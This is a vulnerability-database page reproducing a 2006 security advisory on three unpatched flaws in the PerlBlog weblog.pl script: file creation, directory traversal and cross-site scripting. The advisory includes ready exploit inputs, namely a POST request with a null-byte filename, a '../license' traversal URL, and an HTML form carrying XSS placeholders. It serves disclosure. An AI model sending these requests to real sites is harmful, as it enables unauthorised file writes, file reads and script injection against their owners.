Lucene search
K

EV0081.txt

🗓️ 02 Mar 2006 00:00:00Reported by Aliaksandr HartsuyeuType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

New eVuln Advisory: PerlBlog Multiple Vulnerabilities, Critical Level: Dangerous, Unpatched Status, Exploits Availabl

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2006-0780
19 Feb 200611:00
cve
CVE
CVE-2006-0781
19 Feb 200611:00
cve
CVE
CVE-2006-0782
19 Feb 200611:00
cve
Cvelist
CVE-2006-0780
19 Feb 200611:00
cvelist
Cvelist
CVE-2006-0781
19 Feb 200611:00
cvelist
Cvelist
CVE-2006-0782
19 Feb 200611:00
cvelist
EUVD
EUVD-2006-0786
7 Oct 202500:30
euvd
EUVD
EUVD-2006-0787
7 Oct 202500:30
euvd
EUVD
EUVD-2006-0788
7 Oct 202500:30
euvd
NVD
CVE-2006-0780
19 Feb 200611:02
nvd
Rows per page
`New eVuln Advisory:  
PerlBlog Multiple Vulnerabilities  
http://evuln.com/vulns/81/summary.html  
  
--------------------Summary----------------  
eVuln ID: EV0081  
CVE: CVE-2006-0780 CVE-2006-0781 CVE-2006-0782  
Software: PerlBlog  
Sowtware's Web Site: http://www.chronicled.org/perlblog/  
Versions: 1.09b 1.09 1.08 - checked  
Critical Level: Dangerous  
Type: Multiple Vulnerabilities  
Class: Remote  
Status: Unpatched. No reply from developer(s)  
Exploit: Available  
Solution: Not Available  
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)  
  
-----------------Description---------------  
1. Arbitrary file creation with user-defined data.  
  
Vulnerable script: weblog.pl  
User-defined post variables are not properly sanitized. "reply" parameter may contain arbitrary filename. weblog.pl creates a file with "name" and "body" parameter values included.  
  
System access is possible.  
  
  
2. Directory traversal vulnerability.  
  
Vulnerable script: weblog.pl  
Input parameter "month" isn't properly sanitized. This can be used to read arbitrary txt-files.  
  
  
3. Cross-Site Scripting vulnerability.  
  
Vulnerable script: weblog.pl  
Post variables "name" and "email" are not properly sanitized. This can be used to post arbitrary HTML or JavaScript code.  
  
--------------Exploit----------------------  
Available at: http://evuln.com/vulns/81/exploit.html  
  
1. Arbitrary file creation with user-defined data.  
HTTP query example:  
  
POST /cgi-bin/perlblog/weblog.pl HTTP/1.0  
Content-Type: application/x-www-form-urlencoded  
Host: [host]  
Content-Length: 124  
  
date=02/14/2006-23:33&headerfile=200505&subject=Re: Welcome!&reply=[anyfilename]% 00&name=[anytext]&body=[anytext]&post=reply  
  
  
  
2. Directory traversal vulnerability.  
  
http://[host]/cgi-bin/perlblog/weblog.pl? month=../license  
  
3. Cross-Site Scripting vulnerability.  
  
<FORM NAME="forum" ACTION="http://[host]/cgi-bin/perlblog/weblog.pl" METHOD="POST">  
<INPUT NAME="date" VALUE="02/14/2006-23:33">  
<INPUT NAME="headerfile" VALUE="200505">  
<INPUT NAME="subject" VALUE="Re: Welcome!">  
<INPUT NAME="reply" VALUE="1">  
<INPUT NAME="post" VALUE="reply">  
<INPUT TYPE="TEXT" NAME="name" value='[XSS]'>  
<INPUT TYPE="TEXT" NAME="email" value='">[XSS]'>  
<TEXTAREA></TEXTAREA>  
<INPUT TYPE="Submit" VALUE="Post Comment">  
</FORM>  
  
  
  
--------------Solution---------------------  
No Patch available.  
  
--------------Credit-----------------------  
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)  
  
  
Regards,  
Aliaksandr Hartsuyeu  
http://evuln.com - Penetration Testing Services  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation